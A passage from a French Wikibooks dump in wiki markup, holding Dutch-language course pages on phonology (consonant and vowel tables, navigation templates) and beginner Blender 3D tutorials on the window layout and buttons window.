Cependant, cette langue a librement évolué. On peut signaler qu'en [[w:Belgique|Belgique]], le néerlandais connaît des variétés et n'est pas complètement unifié. Il s'agit cependant soit de variantes de prononciations, soit de formules idiomatiques locales, soit de survivances des patois locaux. Le néerlandais commun est cependant universellement compris dans ces régions et est la seule variété de néerlandais (ou "flamand") reconnu comme langue officielle. == Comment utiliser ce guide ? == Ce guide du néerlandais s'adapte au niveau de néerlandais que vous souhaitez acquérir: * '''Vous allez en vacances dans un pays néerlandophone''': Normalement, vous devriez pouvoir vous en sortir avec le français et l'anglais mais nous vous conseillons de lire la partie consacrée à la [[phonologie (néerlandais)|phonologie]] et éventuellement de parcourir le [[guide de conversation (néerlandais)|guide de conversation]] qui contient les mots et expressions utiles au touriste ! * '''Vous débarquez dans la planète néerlandophone''': Pour éviter de rester la bête curieuse du groupe d'amis que vous vous ferez et qui vous parleront inévitablement en anglais, nous vous invitons à partir de la section [[Progressons pas à pas (néerlandais)|Progressons pas à pas]] qui vous fera progresser lentement mais sûrement vers la maîtrise de la langue. * '''Vous utilisez le néerlandais au travail''': Une section boîte à outils est prévue pour vous aider à accomplir toutes les actions habituelles d'un travail de bureau. * '''Pour en savoir encore plus''': La section [[néerlandais vivant]] est là pour vous aider à collecter des informations sur le monde, la culture et la vie en néerlandais ... tout autant que pour apprendre à dire ce que vous pensez comme vous le pensez sans prendre des pincettes ! == Liens externes == *[http://taalunieversum.org De Nederlandse Taalunie] * [http://www.majstro.com/Web/Majstro/dict.php?gebrTaal=epo&bronTaal=dut&doelTaal=fra Dictionnaire Majstro néerlandais-français-néerlandais] * [http://www.freelang.com/dictionnaire/neerlandais.html Dictionnaire Freelang néerlandais téléchargeable] de Bertrand Cornu * [http://www.lexilogos.com/pays_bas_carte.htm carte linguistique des Pays-Bas et des Flandres] * [http://neerlandais.linguistmail.com Apprendre le néerlandais] Cartes, emails, grammaire, logiciel, magazine mensuel, mots fréquents, prononciation et tests. * [http://www.dutchgrammar.com Explications des règles fondamentales de la grammaire néerlandaise] Voir aussi les articles suivants: * [[w:néerlandais|néerlandais]] * [[w:flamand|flamand]] * [[w:afrikaans|afrikaans]] [[Catégorie:Langue|Néerlandais]] [[en:Dutch]] [[na:Dorerin Eben Eyong]] Modèle:Néerlandais 4678 39873 2006-04-09T07:35:37Z 82.232.27.192 Flag Belgium flanders.svg et Flag of the Netherlands.svg {| style="border:1px solid #FFD905;" cellspacing="0" cellpadding="5" width="255" align="right" | style="border:1px solid #FFD905;font: 100% Verdana; color:black" align="center" bgcolor="#FF8000" | [[Image:Flag of the Netherlands.svg|27px]] [[Image:Flag of Suriname.svg|27px]] '''[[Enseignement du néerlandais|Le néerlandais]]''' [[Image:Flag Belgium brussels.svg|27px]] [[Image:Flag Belgium flanders.svg|27px]] |- | style="border:1px solid #FFD905;font: 100% Verdana; color:black" align="left" | * '''Découvrons:''' Pour commencer... ** [[Phonologie (néerlandais)|La phonologie du néerlandais]]<br/>(Prononcer, lire et écrire) [[Image:50%.png]] ** [[guide de conversation (néerlandais)|Le guide de conversation]] [[Image:25%.png]] |- | style="border:1px solid #FFD905;font: 100% Verdana; color:black" align="left" | * '''Apprenons:'''<br/>[[Progressons pas à pas (néerlandais)|Progressons pas à pas]] [[Image:00%.png]] * [[grammaire (néerlandais) |La grammaire]] [[Image:25%.png]] |- | style="border:1px solid #FFD905;font: 100% Verdana; color:black" align="left" | * '''Travaillons:'''<br/>[[néerlandais des affaires|Le néerlandais des affaires]] [[Image:00%.png]] |- | style="border:1px solid #FFD905;font: 100% Verdana; color:black" align="left" | * '''Cultivons:'''<br/>[[néerlandais vivant|Le néerlandais vivant]]! [[Image:25%.png]] |} Néerlandais 4680 17344 2005-07-23T16:40:56Z Laurent Bouvier 425 #REDIRECT[[Enseignement_du_néerlandais]] Consonnes (néerlandais) 4681 41356 2006-05-01T15:28:28Z 84.193.19.153 /* Consonnes par consonnes */ <h> est prononcé /h/, pas comme <g> {{Modèle:Néerlandais-Page-Suivante|Prec=Phonologie|Suiv=Voyelles|TDM=Phonologie}} == Consonnes du néerlandais == On peut noter que la prononciation du néerlandais n'est pas unifiée. Nous nous sommes attachés à présenter dans le même tableau l'ensemble des sons connus par la langue. === Tableau === Légende: {| |- | <table bgcolor="white" width="100%" border="1" style="border: 1px solid #aaa;text-align:center; border-collapse:collapse"><tr><td><span style="color: white"> ... </span></td><tr></table> || son commun en néerlandais |- | bgcolor="orange" | || son existant en néerlandais soit localement, soit pour la prononciation d'emprunts |- |bgcolor="green" | || son existant uniquement dans la variété flamande |- |bgcolor="gray" | || son non existant en néerlandais |- |bgcolor="black" | ... || son n'existant dans aucune langue |- |style="align: center;color: red;" | a || son n'existant pas en français |} D'après le tableau de l'[[w:Alphabet_phon%C3%A9tique_international|API]]: {| align="center" border="1" cellpadding="3" style="border: 1px solid #aaa;text-align:center; border-collapse:collapse;font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" |+ '''Consonnes pulmonaires''' ! !bgcolor="yellow" colspan="2"| <small>[[w:consonne bilabiale|Bilabial]]</small> !bgcolor="yellow" colspan="2"| <small>[[w:consonne labio-dentale|Labio-</br>dental]]</small> !bgcolor="yellow" colspan="2"| <small>[[w:consonne dentale|Dental]]</small> !bgcolor="yellow" colspan="2"| <small>[[w:consonne alvéolaire|Alvéolaire]]</small> !bgcolor="yellow" colspan="2"| <small>[[w:consonne post-alvéolaire|Post-</br>alvéolaire]]</small> !bgcolor="yellow" colspan="2"| <small>[[w:consonne rétroflexe|Rétroflexe]]</small> !bgcolor="yellow" colspan="2"| <small>[[w:consonne palatale|Palatal]]</small> !bgcolor="yellow" colspan="2"| <small>[[w:consonne vélaire|Vélaire]]</small> !bgcolor="yellow" colspan="2"| <small>[[w:consonne uvulaire|Uvulaire]]</small> !bgcolor="gray" colspan="2"| <small>[[w:consonne pharyngale|Pharyngal]]</small> !bgcolor="gray" colspan="2"| <small>[[w:consonne épiglottale|Épiglottal]]</small> !bgcolor="yellow" colspan="2"| <small>[[w:consonne glottale|Glottal]]</small> |----- !bgcolor="yellow" | <small>[[w:Consonne occlusive|Occlusif]]</small> | bgcolor="white" | p | bgcolor="white" | b |colspan="2" bgcolor="gray"| |colspan="2" bgcolor="gray"| | bgcolor="white" | t | bgcolor="white" | d | bgcolor="orange" style="align: center;color: red;"| (c) | bgcolor="gray" | |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | | bgcolor="white" | k | bgcolor="gray" | |colspan="2" bgcolor="gray" | | bgcolor="gray" | | bgcolor="black" | | bgcolor="gray" | | bgcolor=black | | bgcolor="orange" style="align: center;color: red;" | (ʔ) | bgcolor=black | ... |----- !bgcolor="yellow" | <small>[[w:Consonne nasale|Nasal]]</small> | bgcolor="gray" | | bgcolor="white" | m |colspan="2" bgcolor="gray"| |colspan="2" bgcolor="gray"| | bgcolor="gray" | | bgcolor="white" | n | bgcolor="gray" | | bgcolor="orange" | (ɲ) |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | | bgcolor="gray" | | bgcolor="white" | ŋ |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="black"| |colspan="2" bgcolor="black"| |colspan="2" bgcolor="black" | |----- !bgcolor="yellow" | <small>[[w:Consonne fricative|Fricatif]]</small> |colspan="2" bgcolor="gray" | | f | v |colspan="2" bgcolor="gray" | | s | z | bgcolor="orange" | (ʃ) | bgcolor="orange" | (ʒ) |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | | bgcolor="white" style="align: center;color: red;"| χ | bgcolor="white" style="align: center;color: red;" | ɣ |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | | bgcolor="gray" | | bgcolor="white" style="align: center;color: red;"| ɦ |----- !bgcolor="gray" | <small>[[w:consonne fricative|Fricatif]] [[w:consonne latérale|latéral]]</small> |colspan="2" bgcolor="black" | |colspan="2" bgcolor="black" | |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="black" | |colspan="2" bgcolor="black" | |colspan="2" bgcolor="black" | |----- !bgcolor="gray" | <small>[[w:Consonne roulée|Vibrant roulé]]</small> |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="black" | |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="black" | |----- !bgcolor="yellow" | <small>[[w:Consonne battue|Vibrant battu]]</small> |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | | bgcolor="gray" | | style="align: center;color: red;" | ɾ |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="black" | |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="black" | |----- !bgcolor="yellow" | <small>[[w:Consonne spirante|Spirant]]</small> |colspan="2" bgcolor="gray" | | bgcolor="gray" | | style="align: center;color: red;"| ʋ |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | | bgcolor="gray" | | j |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="black" | |----- !bgcolor="yellow" | <small>[[w:Consonne spirante|Spirant]] [[w:Consonne latérale|Latéral]]</small> |colspan="2" bgcolor="black" | |colspan="2" bgcolor="black" | |colspan="2" bgcolor="gray" | | bgcolor="gray" | | l |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="gray" | |colspan="2" bgcolor="black" | |colspan="2" bgcolor="black" | |colspan="2" bgcolor="black" | |} === Consonnes par consonnes === * Occlusives: /p, t, k/ sont des consonnes non aspirés et non voisés. /b, d/ sont complètement voisés. ** p: ''pen'' (stylo) à prononcer comme en français ** b: ''ben'' (suis) à prononcer comme en français ** t: ''tak'' ** d: ''dak'' (plafond) à prononcer comme en français ** k: ''kat'' (chat) à prononcer comme en français ** pas de consonne sonore associé, la consonne française /g/ n'existe pas en néerlandais sauf dans un très petit nom d'emprunt. voir la fricative /ɦ/ ** le coup de glotte /ʔ/ apparaît spontanément avant les voyelles initiales de syllabes. exemple: ''beamen'' (confirmer) * Nasales ** m: ''mens'' (homme) à prononcer comme en français ** n: ''nek'' (cou) à prononcer comme en français ** ŋ: ''ding'' chose à prononcer comme en anglais dans ''parking'' * Fricatives: ** f: ''fiets'' (bicyclette) ** v: ''oven'' (four) ** s: ''sok'' (chaussette) ** z: ''zeep'' (savon) * Autre fricatives: ** ɦ: ''gaan'' (aller) son spécifique n'existant dans en français à prononcer comme un ''ch'' français avec vibration des cordes vocales ** h: ''hard'' (dur) forte expiration comme en anglais * Consonnes vibrantes: ** ɾ: ''rood'' (rouge) légèrement roulé en général en particulier en position initial. * Spirantes: ** ʋ: ''wind'' (vent) proche du français '''hu'''it. * Latérales: * l: ''lente'' (printemps) comme en français * Sons secondaires: ** (ɲ): ''oranje'' (orange) à prononcer comme dans le français ''vigne'' ** (ʃ): ''chef'' (chef) comme en français ** (ʒ): ''jury'' (jury) comme en français ** (c): ''ketjap' (sauce au soja) Ces sons apparaissent naturellement dans devant un son /j/. Ainsi: * /n/ + /j/ donne /ɲ/ * /t/ + /j/ donne /cj/ et en finale /tʃ/ * /s/ + /j/ donne /ʃ/ * /z/ + /j/ donne /ʃ/ === Mobilité des réalisations === Le néerlandais présente la caractérisque d'avoir une réalisation des phonèmes dépendant du contexte. * En fin de mots: les phonèmes non-voisés ont tendance à être réalisés avec les consonnes voisés.Cela peut être reflété dans la graphie ou non. Exemples: *''(ik) heb'' (as comme dans ''tu as'') est réalisé comme /hep/ *''de wind'' (le vent) est réalisé comme /ʋint/ On peut signaler que l'orthographe reflète ces transformations dans le cas des consonnes finales de syllables pour les paires (f,v) et (s,z). Exemples: ''prijs'' (prix) donne ''prijzen'' au pluriel et ''brief'' (lettre) donne ''brieven'' au pluriel. * En début de mots: Le phénomème inverse peut survenir; il est appelé [[Assimilation (néerlandais)|assimilation]]. Exemple: ''ze is ziek'' (elle est malade) sera prononcé comme s'il était écrit ''ze is '''s'''iek''. {{Modèle:Néerlandais-Page-Suivante|Prec=Phonologie|Suiv=Voyelles|TDM=Phonologie}} Image:Blender3D 3D viewport.png 4682 17392 2005-07-24T12:24:48Z Ludoland17 427 Blender 3D Blender 3D Phonologie (néerlandais) 4683 24466 2005-10-28T17:32:03Z Erasmus 194 /* Orthographe et prononciation */ {{Néerlandais}} == Quelques éléments théoriques == * les [[Consonnes (néerlandais)|consonnes]] [[Image:100%.png]] * les [[Voyelles (néerlandais)|voyelles]] [[Image:75%.png]] * la [[Syllabes (néerlandais)|syllabe néerlandaise]] [[Image:75%.png]] == Orthographe et prononciation == * [[Écrire les syllabes (néerlandais)|Écrire les syllabes]] [[Image:50%.png]] * [[Comment décomposer les syllables (néerlandais)|Comment décomposer les syllabes]] [[Image:00%.png]] * [[Correspondance entre lettres et sons (néerlandais)|Correspondance entre lettres et sons]] [[Image:00%.png]] * l'[[Assimilation (néerlandais)|assimilation]] [[Image:75%.png]] Blender 3D: du débutant au pro/Système de fenêtres de Blender 4684 42950 2006-05-21T23:25:23Z 82.243.26.43 actually mal traduit <div>''Sommaire : [[Blender3D]]''</div> <div>''Page suivante : [[Blender 3D: du débutant au pro/La fenêtre de boutons]]''</div> <div><small>''Page précédente : [[Blender 3D: du débutant au pro/Interface de Blender]]''</small></div> Allez-y et ouvrez Blender si vous ne l'avez pas déjà fait. Vous verrez immédiatement que la fenêtre occupe tout l'écran et cache votre barre des tâches. (Sur Windows et certaines distributions de Linux, les utilisateurs peuvent faire ALT+TAB ou ALT+ESC pour revenir à leur navigateur internet et visionner ce guide). La fenêtre Blender est divisée en deux sections (il y en a en fait trois mais nous verrons ça plus tard). ==La fenêtre de vue 3D== [[Image:Blender3D 3D viewport.png|La fenêtre de vue 3D]] La partie la plus haute est la fenêtre de vue 3D. Elle vous permet de voir et de manipuler les objets 3D dans votre scène 3D. Les lignes de la grille que vous voyez sont séparées d'une Unité Blender (UB). A quoi correspond une UB ? à ce que vous voulez ! Une UB peut être un centimètre, un pouce, un mile... Une UB vous laisse décider l'échelle. ==La fenêtre des boutons== [[Image:Blender3D buttons window.png|La fenêtre des boutons]] La partie du bas est la fenêtre des boutons. Cette fenêtre vous permet d'appliquer plein d'opérations sur vos mailles, caméras, lumières, et plus encore. Si vous ne voyez pas les boutons comme ci-dessus, cliquez sur le menu "panel", descendez jusqu'à "scenes" puis cliquez sur "render". La touche '''F10''' aura le même effet. Vous avez peur? Attendez de voir ce que vous pouvez faire avec tous ces boutons... ==Redimensionner les fenêtres== Placez votre souris sur le bord entre les deux fenêtres, et le pointeur va se changer en fleches haut/bas (ou en une main sur Mac Os X). Cliquez avec le '''LMB''' (bouton gauche) et déplacez la souris. Cela redimensionne les fenêtres. Vous pouvez aussi cliquer sur une fenêtre, puis taper CTRL+HAUT ou CTRL+BAS pour minimiser toutes les autres fenêtres en barres d'outils, et répéter l'opération pour revenir à la situation précédente. [[Image:Blender3D windows border.png]] ==Préférences de l'utilisateur== [[Image:Blender3D User Preferences window.png|la fenêtre de préférences]] La troisième partie, "préférences de l'utilisateur", est cachée parce que la plupart du temps vous n'en aurez pas besoin. Pour l'instant elle est minimisée. Pour y avoir accès, bougez votre souris en haut de la fenêtre de vue 3D jusqu'à ce que vous voyiez la fleche haut/bas. cliquez alors avec le '''LMB''' et déplacez le pointeur vers le bas. Vous verrez plein d'options de configuration Blender cachées ici. Par exemple, il est possible de choisir une langue d'interface (La traduction en français n'est que très partielle). Pour l'instant, nous n'aurons pas besoin de cette fenêtre et vous pouvez donc la cacher de nouveau. ==Fusionner et diviser les fenêtres== Déplacez le curseur au bord des fenêtres, entre la fenêtre de vue 3D et la fenêtre des boutons. Cliquez avec le '''RMB''' (bouton droit). Un menu apparaît avec les options "Join Area" (fusionner l'aire) ou "Split Area" (diviser l'aire). Choisissez "Split". Une barre apparaît dans la fenêtre courante. Vous pouvez choisir où vous souhaitez diviser la fenêtre en déplaçant la barre et en cliquant le '''LMB''', ou annuler en cliquant sur le '''RMB'''. C'est particulièrement utile dans la fenêtre de vue 3D. Vous pouvez la diviser comme vous le souhaitez, et chacune des divisions peut être configurée pour montrer une vue différente de votre scène. Maintenant essayez "Join Area". Vos fenêtres deviendront une seule à nouveau. Essayez de diviser sur les cotés. Les divisions horizontales peuvent être très utiles. [sur un Macintosh avec une tablette de dessin Macally IceCad, gardez la touche de commande enfoncée quand vous cliquez pour émuler le '''RMB'''.] [avec un clavier de Mac, gardez la touche "Control" appuyée pendant que vous cliquez pour émuler le '''RMB'''.] ==Les entêtes de fenêtres== Déplacez votre souris entre deux fenêtres plusieurs fois. Remarquez que chaque entête de fenêtre s'éclaire quand la souris traverse les bords. La lumière désigne la fenêtre '''active'''. C'est important d'avoir son pointeur de souris au-dessus de la bonne fenêtre quand on essaye de faire la plupart des opérations. Les entêtes de fenêtre (headers) peuvent être en haut ou en bas d'une fenêtre. Pour déplacer un entête, cliquez dessus avec le '''RMB''' et choisissez "Top" (en haut) ou "Bottom" (en bas). Pour enlever un entête, cliquez dessus avec le '''RMB''' et choisissez "No Header". Cela peut être utile quand vous avez plein de fenêtres qui couvrent votre écran. Pour le faire revenir, cliquer avec le '''RMB''' sur le bord de la fenêtre activée, et choisissez "Add Header". Les fichiers Blender enregistrent les configurations de fenêtres. Quand vous réouvrez un fichier, les fenêtres se réarrangent comme elles étaient quand vous avez enregistré le fichier. <div>''Sommaire : [[Blender3D]]''</div> <div>''Page suivante : [[Blender 3D: du débutant au pro/La fenêtre de boutons]]''</div> <div><small>''Page précédente : [[Blender 3D: du débutant au pro/Interface de Blender]]''</div> Image:Blender3D buttons window.png 4685 17398 2005-07-24T12:38:29Z Ludoland17 427 Image:Blender3D windows border.png 4686 17400 2005-07-24T12:54:15Z Ludoland17 427 Image:Blender3D User Preferences window.png 4687 17401 2005-07-24T12:54:36Z Ludoland17 427 Voyelles (néerlandais) 4688 17458 2005-07-24T15:36:20Z Laurent Bouvier 425 {{Modèle:Néerlandais-Page-Suivante|Prec=Consonnes|Suiv=Syllabes|TDM=Phonologie}} La réalisation des voyelles du néerlandais est relativement différente de celle du français. En effet, c'est le contexte et la longueur de la voyelle qui seront déterminants. == Les voyelles simples == <table align=center> <tr> <td> {| style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho;" | ø || son commun au français et au néerlandais |- | style="color:red;" | ǝ || son existant en néerlandais et non en français |} </td> <td> {| align="center" cellpadding="3" style="border: 1px solid #8888aa; background: #f7f8ff; padding: 5px; text-align: center; font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho;" | style="background: #ccf;" colspan="6" | '''[[w:Voyelle|Voyelle]]s''' |- | style="height: 5px; padding: 0;" colspan="6" | |- style="background: #eef; " ! ! style="background: #ccf;"| Antérieur ! style="color: #eef;" |Interm. ! style="background: #ccf;"| Central ! style="color: #eef;" |Interm. ! style="background: #ccf;"| Postérieur |- style="background: #ddf; " ! style="text-align: right;"| Fermé | i(:) • y(:) | | | | • u(:) |- style="background: #eef; " ! style="text-align: right;"| | style="background: #ccf;"| | style="color:red;" | ɪ • ʏ | style="background: #ccf;"| | | style="background: #ccf;"| |- style="background: #ddf; " ! style="text-align: right;"| Mi-fermé | e: • ø: | | | | • o: |- style="background: #eef; " ! align="right" style="padding-right: 3px;"| | style="background: #ccf;"| | | style="background: #ccf;"| [[w:Schwa| ǝ]] | | style="background: #ccf;"| |- style="background: #ddf; " ! style="text-align: right;"| Mi-ouvert | ɛ(:) • œ: | | | | <span style="color:red;">ʌ</span> • ɔ(:) |- style="background: #eef; " ! style="text-align: right;"| | style="background: #ccf;color:#ccf;"| æ | | style="background: #ccf;color:#ccf;"| ɐ | | style="background: #ccf;"| |- style="background: #ddf; " ! style="text-align: right;"| Ouvert | a: | | | | ɑ |} </td> </tr> </table> On peut les regrouper en deux groupes: * Celles qui présente la caractéristique de pouvoir être courtes ou longues et qui ont trois réalisations * Celles qui sont toujours longues Voici un inventaire des familles de voyelles des plus fermées aux plus ouvertes. * '''famille i''' {| align="center" cellpadding="3" style="border: 1px solid #8888aa; background: #f7f8ff; padding: 5px; text-align: center; font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho;" ! Syllabe ! Relaché ! Courte ! Longue |- ! '''Ouverte:''' | - | i ''bizarre'' | i: ''analyse'' |- ! '''Fermée:''' | ɪ ''bit'' | i ''biet'' | i: ''lied'' |} * '''famille u''' {| align="center" cellpadding="3" style="border: 1px solid #8888aa; background: #f7f8ff; padding: 5px; text-align: center; font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho;" ! Syllabe ! Relaché ! Courte ! Longue |- ! '''Ouverte:''' | - | y ''futen'' | y: ''buren'' |- ! '''Fermée:''' | ʏ ''dus'' | y ''fuut'' | y: ''buur'' |} * '''famille é''' {| align="center" cellpadding="3" style="border: 1px solid #8888aa; background: #f7f8ff; padding: 5px; text-align: center; font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho;" ! Syllabe ! Relaché ! Courte ! Longue |- ! '''Ouverte:''' | - | - | e: ''eten'' |- ! '''Fermée:''' | ʏ ''ver'' | e(:) ''veel'' | ɛ: ''serre'' |} * '''famille ǝ''' {| align="center" cellpadding="3" style="border: 1px solid #8888aa; background: #f7f8ff; padding: 5px; text-align: center; font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho;" ! Syllabe ! Relaché ! Courte ! Longue |- ! '''Ouverte:''' | - | ø | œ: ''oeuvre'' |- ! '''Fermée:''' | ǝ ''het'' | ø(:) ''neus'' | ɛ: ''serre'' |} * '''famille o''' {| align="center" cellpadding="3" style="border: 1px solid #8888aa; background: #f7f8ff; padding: 5px; text-align: center; font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho;" ! Syllabe ! Relaché ! Courte ! Longue |- ! '''Ouverte:''' | - | o | o: ''boter'' |- ! '''Fermée:''' | ɔ ''vol'' | ɔ: ''zone'' | o: ''boot'' |} * '''famille a''' {| align="center" cellpadding="3" style="border: 1px solid #8888aa; background: #f7f8ff; padding: 5px; text-align: center; font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho;" ! Syllabe ! Relaché ! Courte ! Longue |- ! '''Ouverte:''' | - | - | a: ''water'' |- ! '''Fermée:''' | ɑ ''dat'' | a ''neus'' | a: ''zaad'' |} * '''famille oe''' Il n'y a pas en fait que deux réalisations. Les syllabes ouvertes et fermées sont réalisées de la même manière. {| align="center" cellpadding="3" style="border: 1px solid #8888aa; background: #f7f8ff; padding: 5px; text-align: center; font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho;" ! Syllabe ! Relaché ! Courte ! Longue |- ! '''Ouverte:''' | - | u ''hoe'' | u: ''cruise'' |- ! '''Fermée:''' | - | u ''hoed'' | - |} == Les diphtongues == Il y en a trois. Attention: certaines variantes orthographiques pourraient faire croire à des différences de longues. * /ɛi/ - ''ei'' (oeuf), * /œy/ - ''ui'' (oignon) * /ʌu/ - ''zout'' (sel), ''gebouw'' (bâtiment) {{Modèle:Néerlandais-Page-Suivante|Prec=Consonnes|Suiv=Syllabes|TDM=Phonologie}} Modèle:Néerlandais-Page-Suivante 4689 39872 2006-04-09T07:34:21Z 82.232.27.192 Flag of the Netherlands.svg {| style="border:1px solid #FFD905;" cellspacing="0" align="center" | style="border:1px solid #FFD905;font: 100% Verdana; color:black" align="center" bgcolor="#FF8000" colspan="3"| [[Image:Flag of the Netherlands.svg|27px]] [[Image:Flag of Suriname.svg|27px]] '''[[Enseignement du néerlandais|<small>Le néerlandais</small>]]''' [[Image:Flag Belgium brussels.svg|27px]] [[Image:Flag Belgium flanders.svg|27px]] |- | style="border:1px solid #FFD905;font: 100% Verdana; color:black" align="left" | [[{{{Prec}}} (néerlandais)|<small><< {{{Prec}}}</small>]] | style="border:1px solid #FFD905;font: 100% Verdana; color:black" align="center" | [[{{{TDM}}} (néerlandais)|<small>{{{TDM}}}</small>]] | style="border:1px solid #FFD905;font: 100% Verdana; color:black" align="right" | [[{{{Suiv}}} (néerlandais)|<small>{{{Suiv}}}>></small>]] |} Blender 3D: du débutant au pro/La fenêtre de boutons 4690 39658 2006-04-05T12:54:22Z Molyss 1342 <div>''Sommaire : [[Blender3D]]''</div> <div>''Page suivante : [[Blender 3D: du débutant au pro/La fenêtre de vue 3D]]''</div> <div><small>''Page précédente : [[Blender 3D: du débutant au pro/Système de fenêtres de Blender|Apprendre le système de fenêtres de Blender]]''</small></div> La fenêtre de boutons est un des outils les plus puissants que Blender possède. Elle est rendue en [[Wikipedia:OpenGL|OpenGL]], et donc peut être dimensionnée et personnalisée. Lorsque vous aurez des objets sélectionnés dans la fenêtre de vue 3D, il y aura un nombre d'opérations que vous souhaiterez réaliser sur ceux-ci. Par exemple, vous avez modelisé une personne. Les personnes ont différentes couleurs de peau, couleurs d'yeux, couleurs de cheveux, etc. Donc, vous créerez un matériau pour donner à la personne l'aspect que vous souhaitez. La fenêtre de boutons contient aussi la couleur du ciel, les paramètres de rendu, l'animation, et beaucoup d'autres choses. Il existe beaucoup de groupes de boutons qui vous sont accessibles dans cette fenêtre. Pour permuter entre les différents groupes, sélectionnez les boutons à coté du mot "Panels". Les boutons sont (de gauche à droite) : <table style="border:0;"> <tr> <td width="250">&bull; Logic (logique)</td> <td>[[Image:Blenderlogic.png|Blender Logic button]]</td> </tr> <tr> <td>&bull; Script (programmation)</td> <td>[[Image:Blenderscript.png|Blender Script button]]</td> </tr> <tr> <td>&bull; Shading (ombrage)</td> <td>[[Image:Blendershading.png|Blender Shading button]]</td> </tr> <tr> <td>&bull; Object (objet)</td> <td>[[Image:Blenderobject.png|Blender Object button]]</td> </tr> <tr> <td>&bull; Editing (édition)</td> <td>[[Image:Blenderediting.png|Blender Editing button]]</td> </tr> <tr> <td>&bull; Scene (scène)</td> <td>[[Image:Blenderscene.png|Blender Scene button]]</td> </tr> </table> Cliquez sur chacun d'eux ainsi vous aurez une idée de la quantité d'outils dont vous disposez. Certains de ces groupes de boutons ont des sous-groupes. Par exemple, permutez vers les boutons Shading. Vous serez capable de voir plusieurs nouveaux boutons apparaître sur la droite. De gauche à droite : <table style="border:0;"> <tr> <td width="250">&bull; Lamp Buttons (boutons de lampe)</td> <td>[[Image:Blenderlamp.png|Blender Lamp button]]</td> </tr> <tr> <td>&bull; Material (matériau)</td> <td>[[Image:Blendermaterial.png|Blender Material button]]</td> </tr> <tr> <td>&bull; Texture (texture)</td> <td>[[Image:Blendertexture.png|Blender Texture button]]</td> </tr> <tr> <td>&bull; Radiosity (radiosité)</td> <td>[[Image:Blenderradio.png|Blender Radiosity button]]</td> </tr> <tr> <td>&bull; World (monde)</td> <td>[[Image:Blenderworld.png|Blender World button]]</td> </tr> </table> Tous les groupes de boutons mentionnés ci-dessus sont séparés en groupes plus petits. Par exemple, cliquez sur le bouton Editing [[Image:Blenderediting.png|Blender Editing button]]. Vous verrez quatre* fenêtres plus petites dans la fenêtre de boutons que vous pouvez maintenant manipuler : "Link and Materials", "Mesh", "Mesh Tools", et "Mesh Tools 1". Vous pouvez déplacer ces fenêtres dans un ordre différent, les combiner et les minimiser. Essayez de les déplacer et de les manipuler. ''* Si vous en voyez moins que quatre, essayer de régler la fenêtre de vue 3D en "Edit Mode" &mdash;les deux autres fenêtres plus petites dans la fenêtre de boutons devraient alors être visibles aussi. Appuyez sur la touche '''TAB''' pour changer''. <div>''Sommaire : [[Blender3D]]''</div> <div>''Page suivante : [[Blender 3D: du débutant au pro/La fenêtre de vue 3D]]''</div> <div><small>''Page précédente : [[Blender 3D: du débutant au pro/Système de fenêtres de Blender|Apprendre le système de fenêtres de Blender]]''</small></div> Blender 3D: du débutant au pro/La fenêtre de vue 3D 4691 44460 2006-06-13T06:59:25Z 83.145.98.194 <div>''Sommaire : [[Blender3D]]''</div> <div>''Page suivante : [[Blender 3D: du débutant au pro/Autres fenêtres|Les autres fenêtres]]''</div> <div><small>''Page précédente : [[Blender 3D: du débutant au pro/La fenêtre de boutons]]''</small></div> La fenêtre de vue 3D est l'endroit où vous passerez la plupart de votre temps. Blender 3D vous donne 100 % du contrôle de la vue de votre monde. Voici quelques éléments pour apprendre à vous servir de la fenêtre 3D. ==Faire tourner la vue== Positionner le pointeur de la souris sur le carré rose dans le milieu de la fenêtre 3D. Appuyez sur '''MMB''' (ou la roulette) et déplacez la souris d'un coté à l'autre 